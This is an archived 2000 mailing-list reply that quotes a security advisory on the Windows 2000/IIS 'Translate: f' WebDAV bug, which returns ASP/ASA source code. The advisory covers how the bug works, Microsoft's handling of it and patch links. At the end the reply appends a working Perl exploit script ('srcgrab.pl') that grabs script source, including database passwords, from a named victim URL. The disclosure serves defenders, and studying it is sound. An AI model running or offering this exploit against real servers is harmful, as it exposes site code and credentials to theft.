Subject: Re: Translate:f summary, history and thoughts > Simple perl script exploit for the problem. Please find a simple perl script included at the bottom that exploits below described problem. > ----- Original Message ----- > From: "Daniel Dočekal" > To: > Sent: Tuesday, August 15, 2000 7:39 PM > Subject: Translate:f summary, history and thoughts > > > > Because Microsoft went the way of HIDING the actual mechanism of > Translate:f > > from all of us (original KB article is gone and new Security Bulletin is > > playing nasty game of downplaying the problem), i have decided to write > > follow up with sufficient information. > > > > HOW IT WORKS > > ------------------------- > > > > WebDAV implemented in Windows 2000 and Office 2000 (including FrontPage > 2000 > > and FrontPage 2000 Server extensions) is the source of Translate:f > problem. > > > > When someone makes request for ASP/ASA (or any other scriptable page) and > > adds "Translate: f" into headers of HTTP GET request (headers are _not_ > part > > of URL, they are part of HTTP request), there is a serious security bug in > > Windows 2000 (unpatched by SP1) that in return gives complete ASP/ASA code > > instead of processed file (one has to add trailing slash "/" to end of > > requested url to have this really working). > > > > "Translate: f" is legitimate header for WebDAV, it is used as it should > be - > > adding this to HTTP GET is sign for WebDAV component to really return > SOURCE > > code of file and bypass processing. It is used in FrontPage2000 and any > > WebDAV compatible client to get file for editing. It has to be accompanied > > by some other information which should not let anynone access sources. > > Unfortunately, there is some mistake in coding, and simple adding of > "only" > > "Translate:f" and placing "/" at end of request to HTTP GET will lead in > > security bug (which now plagues every second web tested in URLcheck test > at > > security.namodro.cz). > > > > It is WINDOWS 2000 bug, but because of FrontPage Server Extensions 2000 > > installed even on IIS 4.0 sites, it is also IIS 4.0 bug. Also worth of > note > > is that MANY IIS 4.0 sites will exhibit "Translate: f" bug when web files > > are stored on SHARED (network) directory - this has been reported to > > secure@microsoft.com the same time i started bombing them with information > > that there is BIG problem with "Translate: f" - and result of case at > > secure@microsoft.com : > > > > YES, IIS 4.0 is vulnerable, if files are located on shared drive - in that > > case, please apply fix for "Virtualized UNC Share" vulnerability (please > see > > MS00-019 for fixes). So even IIS 4.0 is _not_ safe from this problem. > > > > THE HISTORY > > --------------------- > > > > "Translate: f" bug was first made public around 5th of June 2000, at that > > time MS KB article Q256888 was released and was fully describing the > > mechanism. At 6th of June, there was a POSTFIX released as standalone EXE > > fixing the problem. > > > > At that point someone at Microsoft made big mistake, instead of releasing > > Security Bulletin and instead of notifying PREMIER SUPPORT customers, they > > just left this only with one Q256888 article. And it appears that most > > IIS4/IIS5 admins are just NOT checking Knowledge Base (we do, and Svet > > Namodro has released its own priority warning and we have patched our > > servers immediately). > > > > Then Service Pack 1 for Windows 2000 was released - the bug IS fixed by > > applying SP1 - but it is obvious, that nobody is in big hurry to apply > SP1. > > Result is - many well know web sites are having security problem and > showing > > business logic including passwords to databases. > > > > After sending many, many, mails to Microsoft (including > > secure@microsoft.com, Mr. Ballmer office, passing letter through support > at > > Czech Microsoft), there is result - it took TWO weeks to have new Security > > Bulletin out. And i have to say, that i am very disappointed. Microsoft is > > now HIDING the "Translate:f" nature from all of us (KB Q256888 was pulled > > from Knowledge Base) and Security Bulletin is downplaying the level of > > problem we are dealing with. > > > > LINKS > > --------- > > > > http://www.microsoft.com/technet/security/bulletin/ms00-058.asp > > Security bulletin talking about "Translate:f" but hiding this fact from > us, > > inside you will find POSTFIX URL which is > > http://www.microsoft.com/Downloads/Release.asp?ReleaseID=23769 > > > > > http://support.microsoft.com/support/kb/articles/q256/8/88.ASP?LN=EN-US&SD=g > > n&FR=0 > > Q256888 (now inaccessible) where original version was clearly talking > about > > "Translate:f" (curious how it will look when it is "rewritten"). > > > > > http://download.microsoft.com/download/win2000srv/Patch/Q262259/NT5/EN-US/Q2 > > 62259_W2K_SP1_X86_EN.EXE > > original US ENGLISH hotfix from 6th of June > > > > http://support.microsoft.com/support/kb/articles/q262/2/59.ASP > > another KB article showing link to Q256888 as : > > "Internet Information Service Returns Source of Active Server Pages File > > When Request Contains Translate:f and Ends with a Backslash" - maybe save > it > > for your kids to see how Microsoft changes history! > > > > http://security.namodro.cz/urlcheck.asp?lang=en > > English version of pages letting anyone to verify if his/her server is not > > vulnerable to Translate:f (and some other similar "url" related bugs). > > > > THOUGHTS > > ----------------- > > > > Most important and dangerous aspect of bugs leading to source of ASP/ASA > is > > not in giving away your business logic. It is not worth of trying to > > download all ASP/ASA files and decode how something works. Most important > > aspect is in showing PASSWORDS to access SQL Server Databases and > LOCATIONS > > of Access databases. This is how sites are hacked and private sensitive > data > > are falling in hands of strangers. > > > > Even after YEARS of existence of ASP files, Microsoft did nothing to > remove > > one from most dangerous aspect - that ASP/ASA files are used for storing > > passwords and sensitive information. > > > > Daniel > > > > ___________________cut here___________________________ #!/usr/bin/perl # Expl0it By smiler@vxd.org # Tested with sucess against IIS 5.0. Maybe it works against IIS 4.0 using a shared drive but I havenīt tested it yet. # Get the source code of any script from the server using this exploit. # This code was written after Daniel Docekal brought this issue in BugTraq. # Cheers 351 and FractalG :) if (not $ARGV[0]) { print qq~ Geee itīs running !! kewl :))) Usage : srcgrab.pl Example Usage : srcgrab.pl http://www.victimsite.com/global.asa U can also save the retrieved file using : srcgrab.pl http://www.victim.com/default.asp > file_to_save ~; exit;} $victimurl=$ARGV[0]; # Create a user agent object use LWP::UserAgent; $ua = new LWP::UserAgent; # Create a request my $req = new HTTP::Request GET => $victimurl . '\\'; # Here is the backslash at the end of the url ;) $req->content_type('application/x-www-form-urlencoded'); $req->content_type('text/html'); $req->header(Translate => 'f'); # Here is the famous translate header :)) $req->content('match=www&errors=0'); # Pass request to the user agent and get a response back my $res = $ua->request($req); # Check the outcome of the response if ($res->is_success) { print $res->content; } else { print $res->error_as_HTML; }